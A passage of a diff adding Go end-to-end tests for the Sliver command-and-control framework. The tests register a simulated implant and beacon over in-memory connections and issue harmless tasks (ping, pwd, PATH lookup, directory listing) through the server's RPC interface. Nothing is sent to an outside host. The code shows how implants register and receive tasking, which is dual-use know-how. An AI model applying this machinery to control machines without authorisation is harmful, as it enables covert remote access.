"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestMTLSYamux_Beacon_EndToEndAsyncPingRPC(t *testing.T) {
|
||||
// NOTE: If you run this test in a restricted environment where writes to
|
||||
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
|
||||
|
||||
grpcServer, grpcListener, err := transport.LocalListener()
|
||||
if err != nil {
|
||||
t.Fatalf("start local grpc listener: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
grpcServer.Stop()
|
||||
_ = grpcListener.Close()
|
||||
})
|
||||
|
||||
serverConn, implantConn := net.Pipe()
|
||||
t.Cleanup(func() {
|
||||
_ = serverConn.Close()
|
||||
_ = implantConn.Close()
|
||||
})
|
||||
go c2.HandleSliverConnectionForTest(serverConn)
|
||||
|
||||
beaconID := uuid.NewString()
|
||||
beacon := startTestBeacon(t, implantConn, beaconID)
|
||||
t.Cleanup(beacon.Stop)
|
||||
|
||||
rpcConn, err := dialBufConn(context.Background(), grpcListener)
|
||||
if err != nil {
|
||||
t.Fatalf("dial grpc/bufconn: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = rpcConn.Close() })
|
||||
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
|
||||
|
||||
waitForBeaconRegistration(t, rpcClient, beaconID, 10*time.Second)
|
||||
|
||||
const tasksCount = 8
|
||||
type taskInfo struct {
|
||||
id string
|
||||
nonce int32
|
||||
}
|
||||
taskInfos := make([]taskInfo, 0, tasksCount)
|
||||
|
||||
for i := 0; i < tasksCount; i++ {
|
||||
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
|
||||
nonce := int32(1000 + i)
|
||||
resp, err := rpcClient.Ping(callCtx, &sliverpb.Ping{
|
||||
Nonce: nonce,
|
||||
Request: &commonpb.Request{
|
||||
Async: true,
|
||||
BeaconID: beaconID,
|
||||
Timeout: int64(5 * time.Second),
|
||||
},
|
||||
})
|
||||
cancel()
|
||||
if err != nil {
|
||||
t.Fatalf("rpc ping (async): %v", err)
|
||||
}
|
||||
if resp.GetResponse() == nil || resp.GetResponse().TaskID == "" {
|
||||
t.Fatalf("expected ping task id in async response, got=%v", resp.GetResponse())
|
||||
}
|
||||
taskInfos = append(taskInfos, taskInfo{id: resp.GetResponse().TaskID, nonce: nonce})
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
pendingTasks, err := beacon.FetchPendingTasks(ctx)
|
||||
if err != nil {
|
||||
t.Fatalf("fetch pending beacon tasks: %v", err)
|
||||
}
|
||||
if len(pendingTasks) < tasksCount {
|
||||
t.Fatalf("unexpected pending tasks count: got=%d want>=%d", len(pendingTasks), tasksCount)
|
||||
}
|
||||
|
||||
results := executeBeaconTasks(t, pendingTasks)
|
||||
if err := beacon.SendResults(results); err != nil {
|
||||
t.Fatalf("send beacon results: %v", err)
|
||||
}
|
||||
|
||||
for _, info := range taskInfos {
|
||||
waitForBeaconTaskCompleted(t, rpcClient, info.id, info.nonce, 10*time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMTLSYamux_Beacon_EndToEndAsyncMixedRPCs(t *testing.T) {
|
||||
// NOTE: If you run this test in a restricted environment where writes to
|
||||
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
|
||||
|
||||
grpcServer, grpcListener, err := transport.LocalListener()
|
||||
if err != nil {
|
||||
t.Fatalf("start local grpc listener: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
grpcServer.Stop()
|
||||
_ = grpcListener.Close()
|
||||
})
|
||||
|
||||
serverConn, implantConn := net.Pipe()
|
||||
t.Cleanup(func() {
|
||||
_ = serverConn.Close()
|
||||
_ = implantConn.Close()
|
||||
})
|
||||
go c2.HandleSliverConnectionForTest(serverConn)
|
||||
|
||||
beaconID := uuid.NewString()
|
||||
beacon := startTestBeacon(t, implantConn, beaconID)
|
||||
t.Cleanup(beacon.Stop)
|
||||
|
||||
rpcConn, err := dialBufConn(context.Background(), grpcListener)
|
||||
if err != nil {
|
||||
t.Fatalf("dial grpc/bufconn: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = rpcConn.Close() })
|
||||
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
|
||||
|
||||
waitForBeaconRegistration(t, rpcClient, beaconID, 10*time.Second)
|
||||
|
||||
testDir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(testDir, "alpha.txt"), []byte("alpha"), 0600); err != nil {
|
||||
t.Fatalf("write alpha.txt: %v", err)
|
||||
}
|
||||
if err := os.Mkdir(filepath.Join(testDir, "subdir"), 0700); err != nil {
|
||||
t.Fatalf("mkdir subdir: %v", err)
|
||||
}
|
||||
|
||||
reqTimeout := int64(5 * time.Second)
|
||||
|
||||
type taskCheck struct {
|
||||
id string
|
||||
check func(*testing.T, []byte)
|
||||
}
|
||||
checks := make([]taskCheck, 0, 8)
|
||||
|
||||
addTask := func(callCtx context.Context, taskID string, check func(*testing.T, []byte)) {
|
||||
if taskID == "" {
|
||||
t.Fatalf("expected task id in async response")
|
||||
}
|
||||
checks = append(checks, taskCheck{id: taskID, check: check})
|
||||
}
|
||||
|
||||
for i := 0; i < 4; i++ {
|
||||
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
nonce := int32(2000 + i)
|
||||
resp, err := rpcClient.Ping(callCtx, &sliverpb.Ping{
|
||||
Nonce: nonce,
|
||||
Request: &commonpb.Request{
|
||||
Async: true,
|
||||
BeaconID: beaconID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
cancel()
|
||||
if err != nil {
|
||||
t.Fatalf("rpc ping (async): %v", err)
|
||||
}
|
||||
|
||||
taskID := resp.GetResponse().GetTaskID()
|
||||
wantNonce := nonce
|
||||
addTask(callCtx, taskID, func(t *testing.T, data []byte) {
|
||||
t.Helper()
|
||||
ping := &sliverpb.Ping{}
|
||||
if err := proto.Unmarshal(data, ping); err != nil {
|
||||
t.Fatalf("unmarshal ping response: %v", err)
|
||||
}
|
||||
if ping.Nonce != wantNonce {
|
||||
t.Fatalf("unexpected ping nonce: got=%d want=%d", ping.Nonce, wantNonce)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
{
|
||||
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
resp, err := rpcClient.Pwd(callCtx, &sliverpb.PwdReq{
|
||||
Request: &commonpb.Request{
|
||||
Async: true,
|
||||
BeaconID: beaconID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
cancel()
|
||||
if err != nil {
|
||||
t.Fatalf("rpc pwd (async): %v", err)
|
||||
}
|
||||
taskID := resp.GetResponse().GetTaskID()
|
||||
addTask(callCtx, taskID, func(t *testing.T, data []byte) {
|
||||
t.Helper()
|
||||
pwd := &sliverpb.Pwd{}
|
||||
if err := proto.Unmarshal(data, pwd); err != nil {
|
||||
t.Fatalf("unmarshal pwd response: %v", err)
|
||||
}
|
||||
if pwd.Path == "" {
|
||||
t.Fatalf("unexpected empty pwd path")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
{
|
||||
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
resp, err := rpcClient.GetEnv(callCtx, &sliverpb.EnvReq{
|
||||
Name: "PATH",
|
||||
Request: &commonpb.Request{
|
||||
Async: true,
|
||||
BeaconID: beaconID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
cancel()
|
||||
if err != nil {
|
||||
t.Fatalf("rpc getenv (async): %v", err)
|
||||
}
|
||||
taskID := resp.GetResponse().GetTaskID()
|
||||
addTask(callCtx, taskID, func(t *testing.T, data []byte) {
|
||||
t.Helper()
|
||||
env := &sliverpb.EnvInfo{}
|
||||
if err := proto.Unmarshal(data, env); err != nil {
|
||||
t.Fatalf("unmarshal env response: %v", err)
|
||||
}
|
||||
if len(env.Variables) != 1 || env.Variables[0].Key != "PATH" {
|
||||
t.Fatalf("unexpected env response: %+v", env.Variables)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
{
|
||||
callCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
resp, err := rpcClient.Ls(callCtx, &sliverpb.LsReq{
|
||||
Path: testDir,
|
||||
Request: &commonpb.Request{
|
||||
Async: true,
|
||||
BeaconID: beaconID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
cancel()
|
||||
if err != nil {
|
||||
t.Fatalf("rpc ls (async): %v", err)
|
||||
}
|
||||
taskID := resp.GetResponse().GetTaskID()
|
||||
addTask(callCtx, taskID, func(t *testing.T, data []byte) {
|
||||
t.Helper()
|
||||
ls := &sliverpb.Ls{}
|
||||
if err := proto.Unmarshal(data, ls); err != nil {
|
||||
t.Fatalf("unmarshal ls response: %v", err)
|
||||
}
|
||||
if !ls.Exists {
|
||||
t.Fatalf("unexpected ls response (Exists=false): %v", ls.GetResponse())
|
||||
}
|
||||
found := false
|
||||
for _, file := range ls.Files {
|
||||
if file.Name == "alpha.txt" {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("ls missing expected alpha.txt entry")
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
pendingTasks, err := beacon.FetchPendingTasks(ctx)
|
||||
if err != nil {
|
||||
t.Fatalf("fetch pending beacon tasks: %v", err)
|
||||
}
|
||||
if len(pendingTasks) < len(checks) {
|
||||
t.Fatalf("unexpected pending tasks count: got=%d want>=%d", len(pendingTasks), len(checks))
|
||||
}
|
||||
|
||||
results := executeBeaconTasks(t, pendingTasks)
|
||||
if err := beacon.SendResults(results); err != nil {
|
||||
t.Fatalf("send beacon results: %v", err)
|
||||
}
|
||||
|
||||
for _, tc := range checks {
|
||||
data := waitForBeaconTaskResponseBytes(t, rpcClient, tc.id, 10*time.Second)
|
||||
tc.check(t, data)
|
||||
}
|
||||
}
|
||||
|
||||
type testBeacon struct {
|
||||
id string
|
||||
conn net.Conn
|
||||
session *yamux.Session
|
||||
incoming chan *sliverpb.Envelope
|
||||
done chan struct{}
|
||||
}
|
||||
|
||||
func startTestBeacon(t *testing.T, conn net.Conn, beaconID string) *testBeacon {
|
||||
t.Helper()
|
||||
|
||||
if _, err := conn.Write([]byte(implantMTLS.YamuxPreface)); err != nil {
|
||||
t.Fatalf("write yamux preface: %v", err)
|
||||
}
|
||||
|
||||
muxSession, err := yamux.Client(conn, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("start yamux client session: %v", err)
|
||||
}
|
||||
|
||||
beacon := &testBeacon{
|
||||
id: beaconID,
|
||||
conn: conn,
|
||||
session: muxSession,
|
||||
incoming: make(chan *sliverpb.Envelope, 64),
|
||||
done: make(chan struct{}),
|
||||
}
|
||||
go beacon.recvLoop()
|
||||
|
||||
register := &sliverpb.Register{
|
||||
Name: "e2e-beacon",
|
||||
Hostname: "localhost",
|
||||
Uuid: uuid.NewString(),
|
||||
Username: "unit-test",
|
||||
Os: runtime.GOOS,
|
||||
Arch: runtime.GOARCH,
|
||||
Pid: int32(os.Getpid()),
|
||||
Filename: "sliver-e2e",
|
||||
ActiveC2: "mtls://e2e",
|
||||
Version: "e2e",
|
||||
ReconnectInterval: 0,
|
||||
ProxyURL: "",
|
||||
Locale: "en_US",
|
||||
}
|
||||
regData, err := proto.Marshal(&sliverpb.BeaconRegister{
|
||||
ID: beaconID,
|
||||
Interval: int64(1),
|
||||
Jitter: int64(0),
|
||||
Register: register,
|
||||
NextCheckin: int64(1),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal beacon register: %v", err)
|
||||
}
|
||||
if err := sendYamuxEnvelope(muxSession, &sliverpb.Envelope{Type: sliverpb.MsgBeaconRegister, Data: regData}); err != nil {
|
||||
t.Fatalf("send beacon register: %v", err)
|
||||
}
|
||||
|
||||
return beacon
|
||||
}
|
||||
|
||||
func (b *testBeacon) Stop() {
|
||||
select {
|
||||
case <-b.done:
|
||||
default:
|
||||
close(b.done)
|
||||
}
|
||||
_ = b.session.Close()
|
||||
_ = b.conn.Close()
|
||||
}
|
||||
|
||||
func (b *testBeacon) recvLoop() {
|
||||
defer close(b.incoming)
|
||||
for {
|
||||
stream, err := b.session.Accept()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
go func(stream net.Conn) {
|
||||
defer stream.Close()
|
||||
envelope, err := implantMTLS.ReadEnvelope(stream)
|
||||
if err != nil || envelope == nil {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case b.incoming <- envelope:
|
||||
case <-b.done:
|
||||
}
|
||||
}(stream)
|
||||
}
|
||||
}
|
||||
|
||||
func (b *testBeacon) FetchPendingTasks(ctx context.Context) ([]*sliverpb.Envelope, error) {
|
||||
reqData, err := proto.Marshal(&sliverpb.BeaconTasks{
|
||||
ID: b.id,
|
||||
NextCheckin: int64(1),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := sendYamuxEnvelope(b.session, &sliverpb.Envelope{Type: sliverpb.MsgBeaconTasks, Data: reqData}); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case envelope, ok := <-b.incoming:
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("beacon connection closed")
|
||||
}
|
||||
if envelope.Type != sliverpb.MsgBeaconTasks {
|
||||
continue
|
||||
}
|
||||
resp := &sliverpb.BeaconTasks{}
|
||||
if err := proto.Unmarshal(envelope.Data, resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp.Tasks, nil
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (b *testBeacon) SendResults(results []*sliverpb.Envelope) error {
|
||||
reqData, err := proto.Marshal(&sliverpb.BeaconTasks{
|
||||
ID: b.id,
|
||||
NextCheckin: int64(1),
|
||||
Tasks: results,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return sendYamuxEnvelope(b.session, &sliverpb.Envelope{Type: sliverpb.MsgBeaconTasks, Data: reqData})
|
||||
}
|
||||
|
||||
func executeBeaconTasks(t *testing.T, tasks []*sliverpb.Envelope) []*sliverpb.Envelope {
|
||||
t.Helper()
|
||||
|
||||
sysHandlers := implantHandlers.GetSystemHandlers()
|
||||
results := make([]*sliverpb.Envelope, 0, len(tasks))
|
||||
|
||||
for _, task := range tasks {
|
||||
if task == nil || task.ID == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
handler, ok := sysHandlers[task.Type]
|
||||
if !ok {
|
||||
results = append(results, &sliverpb.Envelope{ID: task.ID, UnknownMessageType: true})
|
||||
continue
|
||||
}
|
||||
|
||||
done := make(chan struct{})
|
||||
var (
|
||||
respData []byte
|
||||
respErr error
|
||||
)
|
||||
var doneOnce sync.Once
|
||||
handler(task.Data, func(data []byte, err error) {
|
||||
respData = data
|
||||
respErr = err
|
||||
doneOnce.Do(func() {
|
||||
close(done)
|
||||
})
|
||||
})
|
||||
|
||||
select {
|
||||
case <-done:
|
||||
_ = respErr
|
||||
results = append(results, &sliverpb.Envelope{ID: task.ID, Data: respData})
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatalf("timeout waiting for handler response (task=%d type=%d)", task.ID, task.Type)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func waitForBeaconRegistration(t *testing.T, rpcClient rpcpb.SliverRPCClient, beaconID string, timeout time.Duration) {
|
||||
t.Helper()
|
||||
|
||||
deadline := time.Now().Add(timeout)
|
||||
for time.Now().Before(deadline) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
|
||||
_, err := rpcClient.GetBeacon(ctx, &clientpb.Beacon{ID: beaconID})
|
||||
cancel()
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
time.Sleep(25 * time.Millisecond)
|
||||
}
|
||||
t.Fatalf("timed out waiting for beacon registration")
|
||||
}
|
||||
|
||||
func waitForBeaconTaskResponseBytes(t *testing.T, rpcClient rpcpb.SliverRPCClient, taskID string, timeout time.Duration) []byte {
|
||||
t.Helper()
|
||||
|
||||
deadline := time.Now().Add(timeout)
|
||||
for time.Now().Before(deadline) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
|
||||
task, err := rpcClient.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
|
||||
cancel()
|
||||
if err != nil {
|
||||
time.Sleep(25 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
if task.State != models.COMPLETED || len(task.Response) == 0 {
|
||||
time.Sleep(25 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
return task.Response
|
||||
}
|
||||
t.Fatalf("timed out waiting for beacon task completion (task=%s)", taskID)
|
||||
return nil
|
||||
}
|
||||
|
||||
func waitForBeaconTaskCompleted(t *testing.T, rpcClient rpcpb.SliverRPCClient, taskID string, wantNonce int32, timeout time.Duration) {
|
||||
t.Helper()
|
||||
|
||||
data := waitForBeaconTaskResponseBytes(t, rpcClient, taskID, timeout)
|
||||
ping := &sliverpb.Ping{}
|
||||
if err := proto.Unmarshal(data, ping); err != nil {
|
||||
t.Fatalf("unmarshal ping response: %v", err)
|
||||
}
|
||||
if ping.Nonce != wantNonce {
|
||||
t.Fatalf("unexpected ping nonce: got=%d want=%d", ping.Nonce, wantNonce)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,441 @@
|
||||
//go:build server && go_sqlite && sliver_e2e
|
||||
|
||||
package c2_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
implantHandlers "github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
implantMTLS "github.com/bishopfox/sliver/implant/sliver/transports/mtls"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/c2"
|
||||
"github.com/bishopfox/sliver/server/core"
|
||||
"github.com/bishopfox/sliver/server/transport"
|
||||
"github.com/google/uuid"
|
||||
"github.com/hashicorp/yamux"
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/grpc/credentials/insecure"
|
||||
"google.golang.org/grpc/test/bufconn"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestMTLSYamux_EndToEndPingRPC(t *testing.T) {
|
||||
// NOTE: If you run this test in a restricted environment where writes to
|
||||
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
|
||||
|
||||
t.Cleanup(func() {
|
||||
for _, session := range core.Sessions.All() {
|
||||
core.Sessions.Remove(session.ID)
|
||||
}
|
||||
})
|
||||
|
||||
grpcServer, grpcListener, err := transport.LocalListener()
|
||||
if err != nil {
|
||||
t.Fatalf("start local grpc listener: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
grpcServer.Stop()
|
||||
_ = grpcListener.Close()
|
||||
})
|
||||
|
||||
serverConn, implantConn := net.Pipe()
|
||||
t.Cleanup(func() {
|
||||
_ = serverConn.Close()
|
||||
_ = implantConn.Close()
|
||||
})
|
||||
go c2.HandleSliverConnectionForTest(serverConn)
|
||||
|
||||
stopImplant := startTestImplant(t, implantConn)
|
||||
t.Cleanup(stopImplant)
|
||||
|
||||
sessionID := waitForSessionID(t, 10*time.Second)
|
||||
|
||||
rpcConn, err := dialBufConn(context.Background(), grpcListener)
|
||||
if err != nil {
|
||||
t.Fatalf("dial grpc/bufconn: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = rpcConn.Close() })
|
||||
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
pingReq := &sliverpb.Ping{
|
||||
Nonce: 31337,
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: int64(5 * time.Second),
|
||||
},
|
||||
}
|
||||
pingResp, err := rpcClient.Ping(ctx, pingReq)
|
||||
if err != nil {
|
||||
t.Fatalf("rpc ping: %v", err)
|
||||
}
|
||||
if pingResp.Nonce != pingReq.Nonce {
|
||||
t.Fatalf("unexpected ping nonce: got=%d want=%d", pingResp.Nonce, pingReq.Nonce)
|
||||
}
|
||||
|
||||
const concurrentPings = 32
|
||||
var wg sync.WaitGroup
|
||||
errCh := make(chan error, concurrentPings)
|
||||
|
||||
for i := 0; i < concurrentPings; i++ {
|
||||
wg.Add(1)
|
||||
go func(i int) {
|
||||
defer wg.Done()
|
||||
callCtx, callCancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer callCancel()
|
||||
|
||||
req := &sliverpb.Ping{
|
||||
Nonce: int32(i),
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: int64(5 * time.Second),
|
||||
},
|
||||
}
|
||||
resp, err := rpcClient.Ping(callCtx, req)
|
||||
if err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
if resp.Nonce != req.Nonce {
|
||||
errCh <- fmt.Errorf("ping nonce mismatch: got=%d want=%d", resp.Nonce, req.Nonce)
|
||||
return
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
close(errCh)
|
||||
for err := range errCh {
|
||||
t.Error(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMTLSYamux_EndToEndMixedRPCs(t *testing.T) {
|
||||
// NOTE: If you run this test in a restricted environment where writes to
|
||||
// `~/.sliver` are blocked, set `SLIVER_ROOT_DIR` to a writable temp dir.
|
||||
|
||||
t.Cleanup(func() {
|
||||
for _, session := range core.Sessions.All() {
|
||||
core.Sessions.Remove(session.ID)
|
||||
}
|
||||
})
|
||||
|
||||
grpcServer, grpcListener, err := transport.LocalListener()
|
||||
if err != nil {
|
||||
t.Fatalf("start local grpc listener: %v", err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
grpcServer.Stop()
|
||||
_ = grpcListener.Close()
|
||||
})
|
||||
|
||||
serverConn, implantConn := net.Pipe()
|
||||
t.Cleanup(func() {
|
||||
_ = serverConn.Close()
|
||||
_ = implantConn.Close()
|
||||
})
|
||||
go c2.HandleSliverConnectionForTest(serverConn)
|
||||
|
||||
stopImplant := startTestImplant(t, implantConn)
|
||||
t.Cleanup(stopImplant)
|
||||
|
||||
sessionID := waitForSessionID(t, 10*time.Second)
|
||||
|
||||
rpcConn, err := dialBufConn(context.Background(), grpcListener)
|
||||
if err != nil {
|
||||
t.Fatalf("dial grpc/bufconn: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = rpcConn.Close() })
|
||||
rpcClient := rpcpb.NewSliverRPCClient(rpcConn)
|
||||
|
||||
testDir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(testDir, "alpha.txt"), []byte("alpha"), 0600); err != nil {
|
||||
t.Fatalf("write alpha.txt: %v", err)
|
||||
}
|
||||
if err := os.Mkdir(filepath.Join(testDir, "subdir"), 0700); err != nil {
|
||||
t.Fatalf("mkdir subdir: %v", err)
|
||||
}
|
||||
|
||||
reqTimeout := int64(5 * time.Second)
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
|
||||
pwdResp, err := rpcClient.Pwd(ctx, &sliverpb.PwdReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("rpc pwd: %v", err)
|
||||
}
|
||||
if pwdResp.Path == "" {
|
||||
t.Fatalf("unexpected empty pwd path")
|
||||
}
|
||||
|
||||
envResp, err := rpcClient.GetEnv(ctx, &sliverpb.EnvReq{
|
||||
Name: "PATH",
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("rpc getenv: %v", err)
|
||||
}
|
||||
if len(envResp.Variables) != 1 || envResp.Variables[0].Key != "PATH" {
|
||||
t.Fatalf("unexpected getenv response: %+v", envResp.Variables)
|
||||
}
|
||||
|
||||
lsResp, err := rpcClient.Ls(ctx, &sliverpb.LsReq{
|
||||
Path: testDir,
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("rpc ls: %v", err)
|
||||
}
|
||||
if !lsResp.Exists {
|
||||
t.Fatalf("unexpected ls response (Exists=false): %v", lsResp.GetResponse())
|
||||
}
|
||||
lsNames := map[string]bool{}
|
||||
for _, file := range lsResp.Files {
|
||||
lsNames[file.Name] = true
|
||||
}
|
||||
for _, want := range []string{"alpha.txt", "subdir"} {
|
||||
if !lsNames[want] {
|
||||
t.Fatalf("ls missing expected entry %q (got %d entries)", want, len(lsResp.Files))
|
||||
}
|
||||
}
|
||||
|
||||
const concurrentCalls = 64
|
||||
var wg sync.WaitGroup
|
||||
errCh := make(chan error, concurrentCalls)
|
||||
|
||||
for i := 0; i < concurrentCalls; i++ {
|
||||
wg.Add(1)
|
||||
go func(i int) {
|
||||
defer wg.Done()
|
||||
|
||||
callCtx, callCancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer callCancel()
|
||||
|
||||
switch i % 4 {
|
||||
case 0:
|
||||
req := &sliverpb.Ping{
|
||||
Nonce: int32(i),
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
}
|
||||
resp, err := rpcClient.Ping(callCtx, req)
|
||||
if err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
if resp.Nonce != req.Nonce {
|
||||
errCh <- fmt.Errorf("ping nonce mismatch: got=%d want=%d", resp.Nonce, req.Nonce)
|
||||
return
|
||||
}
|
||||
|
||||
case 1:
|
||||
resp, err := rpcClient.Pwd(callCtx, &sliverpb.PwdReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
if resp.Path == "" {
|
||||
errCh <- fmt.Errorf("pwd returned empty path")
|
||||
return
|
||||
}
|
||||
|
||||
case 2:
|
||||
resp, err := rpcClient.GetEnv(callCtx, &sliverpb.EnvReq{
|
||||
Name: "PATH",
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
if len(resp.Variables) != 1 || resp.Variables[0].Key != "PATH" {
|
||||
errCh <- fmt.Errorf("unexpected getenv response: %+v", resp.Variables)
|
||||
return
|
||||
}
|
||||
|
||||
default:
|
||||
resp, err := rpcClient.Ls(callCtx, &sliverpb.LsReq{
|
||||
Path: testDir,
|
||||
Request: &commonpb.Request{
|
||||
SessionID: sessionID,
|
||||
Timeout: reqTimeout,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
errCh <- err
|
||||
return
|
||||
}
|
||||
if !resp.Exists {
|
||||
errCh <- fmt.Errorf("unexpected ls response (Exists=false): %v", resp.GetResponse())
|
||||
return
|
||||
}
|
||||
found := false
|
||||
for _, file := range resp.Files {
|
||||
if file.Name == "alpha.txt" {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
errCh <- fmt.Errorf("ls missing expected alpha.txt entry")
|
||||
return
|
||||
}
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
close(errCh)
|
||||
for err := range errCh {
|
||||
t.Error(err)
|
||||
}
|
||||
}
|
||||
|
||||
func dialBufConn(ctx context.Context, ln *bufconn.Listener) (*grpc.ClientConn, error) {
|
||||
dialer := func(context.Context, string) (net.Conn, error) { return ln.Dial() }
|
||||
return grpc.DialContext(ctx, "bufnet",
|
||||
grpc.WithContextDialer(dialer),
|
||||
grpc.WithTransportCredentials(insecure.NewCredentials()),
|
||||
)
|
||||
}
|
||||
|
||||
func waitForSessionID(t *testing.T, timeout time.Duration) string {
|
||||
t.Helper()
|
||||
deadline := time.Now().Add(timeout)
|
||||
for time.Now().Before(deadline) {
|
||||
sessions := core.Sessions.All()
|
||||
if 0 < len(sessions) {
|
||||
return sessions[0].ID
|
||||
}
|
||||
time.Sleep(25 * time.Millisecond)
|
||||
}
|
||||
t.Fatalf("timed out waiting for session registration")
|
||||
return ""
|
||||
}
|
||||
|
||||
func startTestImplant(t *testing.T, conn net.Conn) func() {
|
||||
t.Helper()
|
||||
|
||||
if _, err := conn.Write([]byte(implantMTLS.YamuxPreface)); err != nil {
|
||||
t.Fatalf("write yamux preface: %v", err)
|
||||
}
|
||||
|
||||
muxSession, err := yamux.Client(conn, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("start yamux client session: %v", err)
|
||||
}
|
||||
|
||||
register := &sliverpb.Register{
|
||||
Name: "e2e",
|
||||
Hostname: "localhost",
|
||||
Uuid: uuid.NewString(),
|
||||
Username: "unit-test",
|
||||
Os: runtime.GOOS,
|
||||
